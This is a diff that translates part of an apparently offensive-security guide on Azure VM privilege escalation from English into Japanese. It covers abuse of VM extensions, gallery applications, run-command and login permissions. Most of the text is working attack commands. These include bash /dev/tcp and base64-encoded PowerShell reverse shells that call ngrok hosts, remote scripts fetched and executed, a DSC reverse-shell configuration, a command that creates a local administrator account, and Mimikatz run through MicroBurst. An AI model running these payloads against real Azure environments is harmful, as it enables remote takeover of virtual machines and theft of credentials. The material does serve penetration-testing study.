Azure Virtual Machines と Network に関する詳細情報は、以下を確認してください:
|
||||
|
||||
{{#ref}}
|
||||
../az-services/vms/
|
||||
@@ -12,14 +12,13 @@ For more info about Azure Virtual Machines and Network check:
|
||||
|
||||
### **`Microsoft.Compute/virtualMachines/extensions/write`**
|
||||
|
||||
This permission allows to execute extensions in virtual machines which allow to **execute arbitrary code on them**.\
|
||||
Example abusing custom extensions to execute arbitrary commands in a VM:
|
||||
この権限は、仮想マシンで拡張機能を実行することを許可し、**任意のコードを実行することができます**。\
|
||||
VM内で任意のコマンドを実行するためにカスタム拡張機能を悪用する例:
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="Linux" }}
|
||||
|
||||
- Execute a revers shell
|
||||
|
||||
- リバースシェルを実行する
|
||||
```bash
|
||||
# Prepare the rev shell
|
||||
echo -n 'bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/13215 0>&1' | base64
|
||||
@@ -27,120 +26,108 @@ YmFzaCAtaSAgPiYgL2Rldi90Y3AvMi50Y3AuZXUubmdyb2suaW8vMTMyMTUgMD4mMQ==
|
||||
|
||||
# Execute rev shell
|
||||
az vm extension set \
|
||||
--resource-group <rsc-group> \
|
||||
--vm-name <vm-name> \
|
||||
--name CustomScript \
|
||||
--publisher Microsoft.Azure.Extensions \
|
||||
--version 2.1 \
|
||||
--settings '{}' \
|
||||
--protected-settings '{"commandToExecute": "nohup echo YmFzaCAtaSAgPiYgL2Rldi90Y3AvMi50Y3AuZXUubmdyb2suaW8vMTMyMTUgMD4mMQ== | base64 -d | bash &"}'
|
||||
--resource-group <rsc-group> \
|
||||
--vm-name <vm-name> \
|
||||
--name CustomScript \
|
||||
--publisher Microsoft.Azure.Extensions \
|
||||
--version 2.1 \
|
||||
--settings '{}' \
|
||||
--protected-settings '{"commandToExecute": "nohup echo YmFzaCAtaSAgPiYgL2Rldi90Y3AvMi50Y3AuZXUubmdyb2suaW8vMTMyMTUgMD4mMQ== | base64 -d | bash &"}'
|
||||
```
|
||||
|
||||
- Execute a script located on the internet
|
||||
|
||||
- インターネット上にあるスクリプトを実行する
|
||||
```bash
|
||||
az vm extension set \
|
||||
--resource-group rsc-group> \
|
||||
--vm-name <vm-name> \
|
||||
--name CustomScript \
|
||||
--publisher Microsoft.Azure.Extensions \
|
||||
--version 2.1 \
|
||||
--settings '{"fileUris": ["https://gist.githubusercontent.com/carlospolop/8ce279967be0855cc13aa2601402fed3/raw/72816c3603243cf2839a7c4283e43ef4b6048263/hacktricks_touch.sh"]}' \
|
||||
--protected-settings '{"commandToExecute": "sh hacktricks_touch.sh"}'
|
||||
--resource-group rsc-group> \
|
||||
--vm-name <vm-name> \
|
||||
--name CustomScript \
|
||||
--publisher Microsoft.Azure.Extensions \
|
||||
--version 2.1 \
|
||||
--settings '{"fileUris": ["https://gist.githubusercontent.com/carlospolop/8ce279967be0855cc13aa2601402fed3/raw/72816c3603243cf2839a7c4283e43ef4b6048263/hacktricks_touch.sh"]}' \
|
||||
--protected-settings '{"commandToExecute": "sh hacktricks_touch.sh"}'
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="Windows" }}
|
||||
|
||||
- Execute a reverse shell
|
||||
|
||||
- リバースシェルを実行する
|
||||
```bash
|
||||
# Get encoded reverse shell
|
||||
echo -n '$client = New-Object System.Net.Sockets.TCPClient("7.tcp.eu.ngrok.io",19159);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()' | iconv --to-code UTF-16LE | base64
|
||||
|
||||
# Execute it
|
||||
az vm extension set \
|
||||
--resource-group <rsc-group> \
|
||||
--vm-name <vm-name> \
|
||||
--name CustomScriptExtension \
|
||||
--publisher Microsoft.Compute \
|
||||
--version 1.10 \
|
||||
--settings '{}' \
|
||||
--protected-settings '{"commandToExecute": "powershell.exe -EncodedCommand JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIANwAuAHQAYwBwAC4AZQB1AC4AbgBnAHIAbwBrAC4AaQBvACIALAAxADkAMQA1ADkAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAIgBQAFMAIAAiACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAIgA+ACAAIgA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA="}'
|
||||
--resource-group <rsc-group> \
|
||||
--vm-name <vm-name> \
|
||||
--name CustomScriptExtension \
|
||||
--publisher Microsoft.Compute \
|
||||
--version 1.10 \
|
||||
--settings '{}' \
|
||||
--protected-settings '{"commandToExecute": "powershell.exe -EncodedCommand JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIANwAuAHQAYwBwAC4AZQB1AC4AbgBnAHIAbwBrAC4AaQBvACIALAAxADkAMQA1ADkAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAIgBQAFMAIAAiACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAIgA+ACAAIgA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA="}'
|
||||
|
||||
```
|
||||
|
||||
- Execute reverse shell from file
|
||||
|
||||
- ファイルからリバースシェルを実行する
|
||||
```bash
|
||||
az vm extension set \
|
||||
--resource-group <rsc-group> \
|
||||
--vm-name <vm-name> \
|
||||
--name CustomScriptExtension \
|
||||
--publisher Microsoft.Compute \
|
||||
--version 1.10 \
|
||||
--settings '{"fileUris": ["https://gist.githubusercontent.com/carlospolop/33b6d1a80421694e85d96b2a63fd1924/raw/d0ef31f62aaafaabfa6235291e3e931e20b0fc6f/ps1_rev_shell.ps1"]}' \
|
||||
--protected-settings '{"commandToExecute": "powershell.exe -ExecutionPolicy Bypass -File ps1_rev_shell.ps1"}'
|
||||
--resource-group <rsc-group> \
|
||||
--vm-name <vm-name> \
|
||||
--name CustomScriptExtension \
|
||||
--publisher Microsoft.Compute \
|
||||
--version 1.10 \
|
||||
--settings '{"fileUris": ["https://gist.githubusercontent.com/carlospolop/33b6d1a80421694e85d96b2a63fd1924/raw/d0ef31f62aaafaabfa6235291e3e931e20b0fc6f/ps1_rev_shell.ps1"]}' \
|
||||
--protected-settings '{"commandToExecute": "powershell.exe -ExecutionPolicy Bypass -File ps1_rev_shell.ps1"}'
|
||||
```
|
||||
他のペイロードを実行することもできます: `powershell net users new_user Welcome2022. /add /Y; net localgroup administrators new_user /add`
|
||||
|
||||
You could also execute other payloads like: `powershell net users new_user Welcome2022. /add /Y; net localgroup administrators new_user /add`
|
||||
|
||||
- Reset password using the VMAccess extension
|
||||
|
||||
- VMAccess拡張機能を使用してパスワードをリセットする
|
||||
```powershell
|
||||
# Run VMAccess extension to reset the password
|
||||
$cred=Get-Credential # Username and password to reset (if it doesn't exist it'll be created). "Administrator" username is allowed to change the password
|
||||
Set-AzVMAccessExtension -ResourceGroupName "<rsc-group>" -VMName "<vm-name>" -Name "myVMAccess" -Credential $cred
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
It's also possible to abuse well-known extensions to execute code or perform privileged actions inside the VMs:
|
||||
よく知られた拡張機能を悪用して、VM内でコードを実行したり特権アクションを実行することも可能です:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>VMAccess extension</summary>
|
||||
|
||||
This extension allows to modify the password (or create if it doesn't exist) of users inside Windows VMs.
|
||||
<summary>VMAccess 拡張機能</summary>
|
||||
|
||||
この拡張機能は、Windows VM内のユーザーのパスワードを変更する(または存在しない場合は作成する)ことを可能にします。
|
||||
```powershell
|
||||
# Run VMAccess extension to reset the password
|
||||
$cred=Get-Credential # Username and password to reset (if it doesn't exist it'll be created). "Administrator" username is allowed to change the password
|
||||
Set-AzVMAccessExtension -ResourceGroupName "<rsc-group>" -VMName "<vm-name>" -Name "myVMAccess" -Credential $cred
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
<details>
|
||||
|
||||
<summary>DesiredConfigurationState (DSC)</summary>
|
||||
|
||||
This is a **VM extensio**n that belongs to Microsoft that uses PowerShell DSC to manage the configuration of Azure Windows VMs. Therefore, it can be used to **execute arbitrary commands** in Windows VMs through this extension:
|
||||
|
||||
これは、Azure Windows VMの構成を管理するためにPowerShell DSCを使用するMicrosoftに属する**VM拡張**です。したがって、この拡張を通じてWindows VMで**任意のコマンドを実行**するために使用できます:
|
||||
```powershell
|
||||
# Content of revShell.ps1
|
||||
Configuration RevShellConfig {
|
||||
Node localhost {
|
||||
Script ReverseShell {
|
||||
GetScript = { @{} }
|
||||
SetScript = {
|
||||
$client = New-Object System.Net.Sockets.TCPClient('attacker-ip',attacker-port);
|
||||
$stream = $client.GetStream();
|
||||
[byte[]]$bytes = 0..65535|%{0};
|
||||
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
|
||||
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes, 0, $i);
|
||||
$sendback = (iex $data 2>&1 | Out-String );
|
||||
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
|
||||
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
|
||||
$stream.Write($sendbyte, 0, $sendbyte.Length)
|
||||
}
|
||||
$client.Close()
|
||||
}
|
||||
TestScript = { return $false }
|
||||
}
|
||||
}
|
||||
Node localhost {
|
||||
Script ReverseShell {
|
||||
GetScript = { @{} }
|
||||
SetScript = {
|
||||
$client = New-Object System.Net.Sockets.TCPClient('attacker-ip',attacker-port);
|
||||
$stream = $client.GetStream();
|
||||
[byte[]]$bytes = 0..65535|%{0};
|
||||
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
|
||||
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes, 0, $i);
|
||||
$sendback = (iex $data 2>&1 | Out-String );
|
||||
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
|
||||
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
|
||||
$stream.Write($sendbyte, 0, $sendbyte.Length)
|
||||
}
|
||||
$client.Close()
|
||||
}
|
||||
TestScript = { return $false }
|
||||
}
|
||||
}
|
||||
}
|
||||
RevShellConfig -OutputPath .\Output
|
||||
|
||||
@@ -148,95 +135,91 @@ RevShellConfig -OutputPath .\Output
|
||||
$resourceGroup = 'dscVmDemo'
|
||||
$storageName = 'demostorage'
|
||||
Publish-AzVMDscConfiguration `
|
||||
-ConfigurationPath .\revShell.ps1 `
|
||||
-ResourceGroupName $resourceGroup `
|
||||
-StorageAccountName $storageName `
|
||||
-Force
|
||||
-ConfigurationPath .\revShell.ps1 `
|
||||
-ResourceGroupName $resourceGroup `
|
||||
-StorageAccountName $storageName `
|
||||
-Force
|
||||
|
||||
# Apply DSC to VM and execute rev shell
|
||||
$vmName = 'myVM'
|
||||
Set-AzVMDscExtension `
|
||||
-Version '2.76' `
|
||||
-ResourceGroupName $resourceGroup `
|
||||
-VMName $vmName `
|
||||
-ArchiveStorageAccountName $storageName `
|
||||
-ArchiveBlobName 'revShell.ps1.zip' `
|
||||
-AutoUpdate `
|
||||
-ConfigurationName 'RevShellConfig'
|
||||
-Version '2.76' `
|
||||
-ResourceGroupName $resourceGroup `
|
||||
-VMName $vmName `
|
||||
-ArchiveStorageAccountName $storageName `
|
||||
-ArchiveBlobName 'revShell.ps1.zip' `
|
||||
-AutoUpdate `
|
||||
-ConfigurationName 'RevShellConfig'
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Hybrid Runbook Worker</summary>
|
||||
<summary>ハイブリッドランブックワーカー</summary>
|
||||
|
||||
This is a VM extension that would allow to execute runbooks in VMs from an automation account. For more information check the [Automation Accounts service](../az-services/az-automation-account/).
|
||||
これは、オートメーションアカウントからVM内でランブックを実行することを可能にするVM拡張です。詳細については、[オートメーションアカウントサービス](../az-services/az-automation-account/)を確認してください。
|
||||
|
||||
</details>
|
||||
|
||||
### `Microsoft.Compute/disks/write, Microsoft.Network/networkInterfaces/join/action, Microsoft.Compute/virtualMachines/write, (Microsoft.Compute/galleries/applications/write, Microsoft.Compute/galleries/applications/versions/write)`
|
||||
|
||||
These are the required permissions to **create a new gallery application and execute it inside a VM**. Gallery applications can execute anything so an attacker could abuse this to compromise VM instances executing arbitrary commands.
|
||||
これらは、**新しいギャラリーアプリケーションを作成し、VM内で実行するために必要な権限**です。ギャラリーアプリケーションは何でも実行できるため、攻撃者はこれを悪用して任意のコマンドを実行するVMインスタンスを侵害する可能性があります。
|
||||
|
||||
The last 2 permissions might be avoided by sharing the application with the tenant.
|
||||
最後の2つの権限は、アプリケーションをテナントと共有することで回避できるかもしれません。
|
||||
|
||||
Exploitation example to execute arbitrary commands:
|
||||
任意のコマンドを実行するための悪用例:
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="Linux" }}
|
||||
|
||||
```bash
|
||||
# Create gallery (if the isn't any)
|
||||
az sig create --resource-group myResourceGroup \
|
||||
--gallery-name myGallery --location "West US 2"
|
||||
--gallery-name myGallery --location "West US 2"
|
||||
|
||||
# Create application container
|
||||
az sig gallery-application create \
|
||||
--application-name myReverseShellApp \
|
||||
--gallery-name myGallery \
|
||||
--resource-group <rsc-group> \
|
||||
--os-type Linux \
|
||||
--location "West US 2"
|
||||
--application-name myReverseShellApp \
|
||||
--gallery-name myGallery \
|
||||
--resource-group <rsc-group> \
|
||||
--os-type Linux \
|
||||
--location "West US 2"
|
||||
|
||||
# Create app version with the rev shell
|
||||
## In Package file link just add any link to a blobl storage file
|
||||
az sig gallery-application version create \
|
||||
--version-name 1.0.2 \
|
||||
--application-name myReverseShellApp \
|
||||
--gallery-name myGallery \
|
||||
--location "West US 2" \
|
||||
--resource-group <rsc-group> \
|
||||
--package-file-link "https://testing13242erih.blob.core.windows.net/testing-container/asd.txt?sp=r&st=2024-12-04T01:10:42Z&se=2024-12-04T09:10:42Z&spr=https&sv=2022-11-02&sr=b&sig=eMQFqvCj4XLLPdHvnyqgF%2B1xqdzN8m7oVtyOOkMsCEY%3D" \
|
||||
--install-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'" \
|
||||
--remove-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'" \
|
||||
--update-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'"
|
||||
--version-name 1.0.2 \
|
||||
--application-name myReverseShellApp \
|
||||
--gallery-name myGallery \
|
||||
--location "West US 2" \
|
||||
--resource-group <rsc-group> \
|
||||
--package-file-link "https://testing13242erih.blob.core.windows.net/testing-container/asd.txt?sp=r&st=2024-12-04T01:10:42Z&se=2024-12-04T09:10:42Z&spr=https&sv=2022-11-02&sr=b&sig=eMQFqvCj4XLLPdHvnyqgF%2B1xqdzN8m7oVtyOOkMsCEY%3D" \
|
||||
--install-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'" \
|
||||
--remove-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'" \
|
||||
--update-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'"
|
||||
|
||||
# Install the app in a VM to execute the rev shell
|
||||
## Use the ID given in the previous output
|
||||
az vm application set \
|
||||
--resource-group <rsc-group> \
|
||||
--name <vm-name> \
|
||||
--app-version-ids /subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Compute/galleries/myGallery/applications/myReverseShellApp/versions/1.0.2 \
|
||||
--treat-deployment-as-failure true
|
||||
--resource-group <rsc-group> \
|
||||
--name <vm-name> \
|
||||
--app-version-ids /subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Compute/galleries/myGallery/applications/myReverseShellApp/versions/1.0.2 \
|
||||
--treat-deployment-as-failure true
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="Windows" }}
|
||||
|
||||
```bash
|
||||
# Create gallery (if the isn't any)
|
||||
az sig create --resource-group <rsc-group> \
|
||||
--gallery-name myGallery --location "West US 2"
|
||||
--gallery-name myGallery --location "West US 2"
|
||||
|
||||
# Create application container
|
||||
az sig gallery-application create \
|
||||
--application-name myReverseShellAppWin \
|
||||
--gallery-name myGallery \
|
||||
--resource-group <rsc-group> \
|
||||
--os-type Windows \
|
||||
--location "West US 2"
|
||||
--application-name myReverseShellAppWin \
|
||||
--gallery-name myGallery \
|
||||
--resource-group <rsc-group> \
|
||||
--os-type Windows \
|
||||
--location "West US 2"
|
||||
|
||||
# Get encoded reverse shell
|
||||
echo -n '$client = New-Object System.Net.Sockets.TCPClient("7.tcp.eu.ngrok.io",19159);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()' | iconv --to-code UTF-16LE | base64
|
||||
@@ -245,59 +228,55 @@ echo -n '$client = New-Object System.Net.Sockets.TCPClient("7.tcp.eu.ngrok.io",1
|
||||
## In Package file link just add any link to a blobl storage file
|
||||
export encodedCommand="JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIANwAuAHQAYwBwAC4AZQB1AC4AbgBnAHIAbwBrAC4AaQBvACIALAAxADkAMQA1ADkAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAIgBQAFMAIAAiACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAIgA+ACAAIgA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA="
|
||||
az sig gallery-application version create \
|
||||
--version-name 1.0.0 \
|
||||
--application-name myReverseShellAppWin \
|
||||
--gallery-name myGallery \
|
||||
--location "West US 2" \
|
||||
--resource-group <rsc-group> \
|
||||
--package-file-link "https://testing13242erih.blob.core.windows.net/testing-container/asd.txt?sp=r&st=2024-12-04T01:10:42Z&se=2024-12-04T09:10:42Z&spr=https&sv=2022-11-02&sr=b&sig=eMQFqvCj4XLLPdHvnyqgF%2B1xqdzN8m7oVtyOOkMsCEY%3D" \
|
||||
--install-command "powershell.exe -EncodedCommand $encodedCommand" \
|
||||
--remove-command "powershell.exe -EncodedCommand $encodedCommand" \
|
||||
--update-command "powershell.exe -EncodedCommand $encodedCommand"
|
||||
--version-name 1.0.0 \
|
||||
--application-name myReverseShellAppWin \
|
||||
--gallery-name myGallery \
|
||||
--location "West US 2" \
|
||||
--resource-group <rsc-group> \
|
||||
--package-file-link "https://testing13242erih.blob.core.windows.net/testing-container/asd.txt?sp=r&st=2024-12-04T01:10:42Z&se=2024-12-04T09:10:42Z&spr=https&sv=2022-11-02&sr=b&sig=eMQFqvCj4XLLPdHvnyqgF%2B1xqdzN8m7oVtyOOkMsCEY%3D" \
|
||||
--install-command "powershell.exe -EncodedCommand $encodedCommand" \
|
||||
--remove-command "powershell.exe -EncodedCommand $encodedCommand" \
|
||||
--update-command "powershell.exe -EncodedCommand $encodedCommand"
|
||||
|
||||
# Install the app in a VM to execute the rev shell
|
||||
## Use the ID given in the previous output
|
||||
az vm application set \
|
||||
--resource-group <rsc-group> \
|
||||
--name deleteme-win4 \
|
||||
--app-version-ids /subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Compute/galleries/myGallery/applications/myReverseShellAppWin/versions/1.0.0 \
|
||||
--treat-deployment-as-failure true
|
||||
--resource-group <rsc-group> \
|
||||
--name deleteme-win4 \
|
||||
--app-version-ids /subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Compute/galleries/myGallery/applications/myReverseShellAppWin/versions/1.0.0 \
|
||||
--treat-deployment-as-failure true
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
### `Microsoft.Compute/virtualMachines/runCommand/action`
|
||||
|
||||
This is the most basic mechanism Azure provides to **execute arbitrary commands in VMs:**
|
||||
これは、Azureが提供する最も基本的なメカニズムであり、**VM内で任意のコマンドを実行することができます:**
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="Linux" }}
|
||||
|
||||
```bash
|
||||
# Execute rev shell
|
||||
az vm run-command invoke \
|
||||
--resource-group <rsc-group> \
|
||||
--name <vm-name> \
|
||||
--command-id RunShellScript \
|
||||
--scripts @revshell.sh
|
||||
--resource-group <rsc-group> \
|
||||
--name <vm-name> \
|
||||
--command-id RunShellScript \
|
||||
--scripts @revshell.sh
|
||||
|
||||
# revshell.sh file content
|
||||
echo "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'" > revshell.sh
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="Windows" }}
|
||||
|
||||
```bash
|
||||
# The permission allowing this is Microsoft.Compute/virtualMachines/runCommand/action
|
||||
# Execute a rev shell
|
||||
az vm run-command invoke \
|
||||
--resource-group Research \
|
||||
--name juastavm \
|
||||
--command-id RunPowerShellScript \
|
||||
--scripts @revshell.ps1
|
||||
--resource-group Research \
|
||||
--name juastavm \
|
||||
--command-id RunPowerShellScript \
|
||||
--scripts @revshell.ps1
|
||||
|
||||
## Get encoded reverse shell
|
||||
echo -n '$client = New-Object System.Net.Sockets.TCPClient("7.tcp.eu.ngrok.io",19159);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()' | iconv --to-code UTF-16LE | base64
|
||||
@@ -314,62 +293,57 @@ echo "powershell.exe -EncodedCommand $encodedCommand" > revshell.ps1
|
||||
Import-module MicroBurst.psm1
|
||||
Invoke-AzureRmVMBulkCMD -Script Mimikatz.ps1 -Verbose -output Output.txt
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
### `Microsoft.Compute/virtualMachines/login/action`
|
||||
|
||||
This permission allows a user to **login as user into a VM via SSH or RDP** (as long as Entra ID authentication is enabled in the VM).
|
||||
この権限は、ユーザーが**VMにSSHまたはRDPを介してログインする**ことを許可します(VMでEntra ID認証が有効になっている限り)。
|
||||
|
||||
Login via **SSH** with **`az ssh vm --name <vm-name> --resource-group <rsc-group>`** and via **RDP** with your **regular Azure credentials**.
|
||||
